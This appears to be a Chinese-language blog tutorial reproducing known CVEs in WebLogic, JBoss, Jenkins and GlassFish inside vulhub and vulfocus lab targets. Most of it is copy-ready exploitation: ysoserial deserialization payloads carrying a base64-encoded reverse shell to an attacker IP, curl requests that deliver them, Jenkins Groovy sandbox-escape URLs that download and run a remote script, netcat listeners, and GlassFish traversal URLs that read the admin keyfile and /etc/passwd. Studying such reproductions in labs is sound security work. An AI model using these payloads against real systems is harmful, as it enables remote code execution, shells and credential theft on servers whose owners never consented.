• 中间件安全-CVE复现&Weblogic&Jenkins&GlassFish漏洞复现


    服务攻防-中间件安全&CVE复现&Weblogic&Jenkins&GlassFish漏洞复现

    中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere, Jenkins ,GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp, Spring,Flask,jQuery等
    1、中间件-Weblogic安全
    2、中间件-JBoos安全
    3、中间件-Jenkins安全
    4、中间件-GlassFish安全

    常见中间件的安全测试:
    1、配置不当-解析&弱口令
    2、安全机制-特定安全漏洞
    3、安全机制-弱口令爆破攻击
    4、安全应用-框架特定安全漏洞

    中间件安全测试流程:
    1、判断中间件信息-名称&版本&三方
    2、判断中间件问题-配置不当&公开漏洞
    3、判断中间件利用-弱口令&EXP&框架漏洞

    应用服务安全测试流程:
    1、判断服务开放情况-端口扫描&组合应用等
    2、判断服务类型归属-数据库&文件传输&通讯等
    3、判断服务利用方式-特定漏洞&未授权&弱口令等

    中间件-Weblogic安全问题

    详解:weblogic详解

    介绍:
    Java应用服务器软件
    WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用数据库应用Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
    探针默认端口:7001,Weblogic是Oracle公司推出的J2EE应用服务器

    安全问题:

    CVE_2017_3506
    CVE_2018_2893
    CVE_2018_3245
    CVE-2018-2628 反序列化
    CVE_2020_14882
    CVE_2021_2394 反序列化
    CVE-2023-21839 反序列化

    以上的漏洞基本都可以使用现成熟的工具进行直接攻击利用。

    漏洞复现

    以CVE_2017_3506为例(其他编号漏洞利用基本类似,直接上工具,点一点~):

    CVE_2017_3506漏洞复现

    靶场:vulfocus
    开启环境:
    image.png
    访问:
    image.png
    直接将url信息放入到工具当中进行检测:
    存在漏洞,可直接进行命令执行:
    image.png

    image.png
    其他漏洞编号利用方式类似,直接放入到工具当中进行检测,存在就存在,可直接执行命令或者上传,注入等操作。

    手工操作复现:weblogic反序列漏洞复现

    中间件-JBoos安全问题

    详解:Jboss详解

    介绍:
    J2EE的开放源代码的应用服务器
    是一个基于J2EE的开放源代码应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

    Jboss通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093这 几个,Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。

    安全问题:

    CVE-2017-12149
    CVE-2017-7504
    弱口令 未授权访问

    漏洞复现

    CVE-2017-12149漏洞复现

    该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

    靶场:vulhub
    参考:JBoss 5.x/6.x 反序列化漏洞
    image.png

    开启环境:
    image.png

    访问:
    image.png
    漏洞利用:

    payload:
    //反弹shell命令:
    sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
    //base64加密后:
    bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
    //ysoserial工具利用:
    java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
    //curl命令进行请求访问,发送:
    curl http://192.168.100.134:8080/invoker/readonly --data-binary @poc.ser
    //接收端开启监听
    nc -lvvp 8888
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    在ysoserial工具目录下生成了poc.ser文件:
    image.png

    发送curl请求:
    image.png

    监听端成功接收,反弹shell成功:
    image.png

    CVE-2017-7504漏洞复现

    介绍:
    Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

    靶场:vulhub
    参考:JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
    image.png

    开启环境:
    image.png

    访问:
    image.png
    漏洞利用:

    //此漏洞和CVE-2017-12149利用方式差不多,区别就是请求地址内容不同
    payload:
    //反弹shell命令:
    sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
    //base64加密后:
    bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
    //ysoserial工具利用:
    java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
    //进行curl请求:
    curl http://192.168.100.134:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser
    //接收端开启监听:
    nc -lvvp 8888
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    发送curl请求:
    image.png

    监听端成功接收,反弹shell成功:
    image.png

    中间件-Jenkins安全问题

    详解:Jenkins详解
    介绍:

    开源软件项目
    Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成。
    探针默认端口:8080

    安全问题:

    CVE-2017-1000353

    CVE-2018-1000861

    漏洞复现

    CVE-2017-1000353漏洞复现

    靶场:vulfocus
    或vulhub
    参考:Jenkins-CI 远程代码执行漏洞
    vulhub环境:
    image.png

    vulfocus环境:
    image.png
    开启靶场:
    image.png

    访问:
    image.png

    漏洞利用:
    工具地址:CVE-2017-1000353
    JDK版本需要为jdk-8u291,其他版本可能失效,无法复现成功
    下载地址:JDK8

    payload:
    //执行命令,创建文件
    java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /123.txt"
    //执行exp
    python exploit.py http://192.168.100.134:8080/ jenkins_poc.ser
    
    //然后回到我们的靶机中打开终端输入以下命令,查看验证是否利用成功
    docker ps -a
    docker exec -it 838723a23ad0 /bin/bash
    ls /
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    image.png

    反弹shell命令:

    sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
    //base64加密后
    bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
    
    //反弹shell操作:
    //将刚刚执行创建文件的命令,换成该反弹shell命令即可(base64加密后的)
    java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
    //执行exp
    python exploit.py http://192.168.100.134:8080/ jenkins_poc.ser
    
    //接收端开启监听
    nc -lvvp 8888
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    image.png
    注意JDK版本,否则可能无法复现。

    CVE-2018-1000861漏洞复现

    靶场:vulhub
    参考:Jenkins远程命令执行漏洞
    image.png
    开启环境:
    image.png

    访问:
    image.png

    漏洞利用:
    exp下载地址:CVE-2018-1000861EXP

    //使用exp脚本可直接利用,python2下使用
    payload:
    python2 exp.py 
    
    python2 exp.py http://192.168.100.134:8080/ "touch /tmp/123.txt"
    python2 exp.py http://192.168.100.134:8080/ "touch /tmp/test.txt"
    
    //进入靶场环境进行验证:
    docker ps
    docker exec -it 靶场id /bin/bash
    ls /tmp/
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    使用说明:
    image.png

    使用方式:
    image.png

    验证是否成功:
    成功创建文件
    image.png

    还可以进行手工测试:

    手工检测:
    poc:
    http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/rumilc%22.execute()}}
    payload:
    创建文件:
    //发送以下请求:
    http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/rumilc%22.execute()}}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    image.png

    验证:
    成功创建
    image.png

    反弹shell:

    payload:
    //反弹shell命令进行base64加密
    python2 exp.py http://192.168.100.134:8080  "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
    //接收端开启监听
    nc -lvvp 8888
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image.png

    成功反弹shell:
    image.png

    ps:如果不能反弹,可在服务端创建文本文件,将反弹shell命令写进文本文件当中。然后python开启http服务,观察状态。

    //开启http服务:
    python -m http.server 8080
    
    //python2执行exp脚本,将远程文件保存至目标主机
    python2 exp.py 目标主机 "curl -o /tmp/cmd.sh  http://xxxx:8080/cmd.txt"
    
    //python2执行exp脚本,使目标主机运行脚本文件反弹shel
    python2 exp.py 目标主机 "bash /tmp/cmd.sh"
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    image.png

    http服务端可观察状态:
    image.png

    进入靶场验证,存在该文件:
    image.png
    接下来使用python2脚本exp命令进行执行即可。

    还可以手工浏览器访问,依次执行:

    payload:
    //这里拿本地演示
    //将文件保存到目标主机:
    //http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl -o /tmp/cmd.sh http://VPSip:8080/cmd.txt".execute()}}
    http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl -o /tmp/cmd.sh http://127.0.0.1:8080/cmd.txt".execute()}}
    
    //执行shell脚本
    //http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash /tmp/cmd.sh".execute()}}
    http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash /tmp/cmd.sh".execute()}}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    访问时,浏览器变为空白界面:
    执行成功
    image.png

    中间件-Glassfish安全问题

    介绍:
    GlassFish详解

    一款商业应用服务器
    GlassFish 是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。

    安全问题:

    CVE-2017-1000028

    漏洞复现

    CVE-2017-1000028漏洞复现

    漏洞原理:

    java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。

    靶场:vulhub
    参考:GlassFish 任意文件读取漏洞
    image.png

    开启环境:
    image.png

    进入环境,访问:
    环境运行后,访问http://your-ip:8080http://your-ip:4848即可查看web页面。其中,8080端口是网站内容,4848端口是GlassFish管理中心。
    image.png

    payload:
    //读取密码:
    https://192.168.100.134:4848/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile
    
    //linux下读取文件:
    https://192.168.100.134:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
    
    //window下读取文件:
    http://you-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    成功读取密码:
    image.png

    成功读取文件:
    image.png

  • 相关阅读:
    【Redis(9)】Spring Boot整合Redis,实现分布式锁,保证分布式系统中节点操作一致性
    PCIE-Malformed tlp,UR,UC,CA
    KeyedProcessFunction 在 Flink项目中的应用实战
    浏览器执行过程与V8引擎执行原理(无惧面试)
    iTerm2+oh-my-zsh搭个Mac电脑上好用好看终端
    LeetCode 0216.组合总和 III:回溯(剪枝) OR 二进制枚举
    SpringCloud入门概述;微服务入门概述
    Serverless Devs 重大更新,基于 Serverless 架构的 CI/CD 框架:Serverless-cd
    HTML5期末大作业:旅游网页设计与实现——旅游风景区网站HTML+CSS (1)
    SSH访问Centos7中文显示乱码
  • 原文地址:https://blog.csdn.net/rumil/article/details/133979838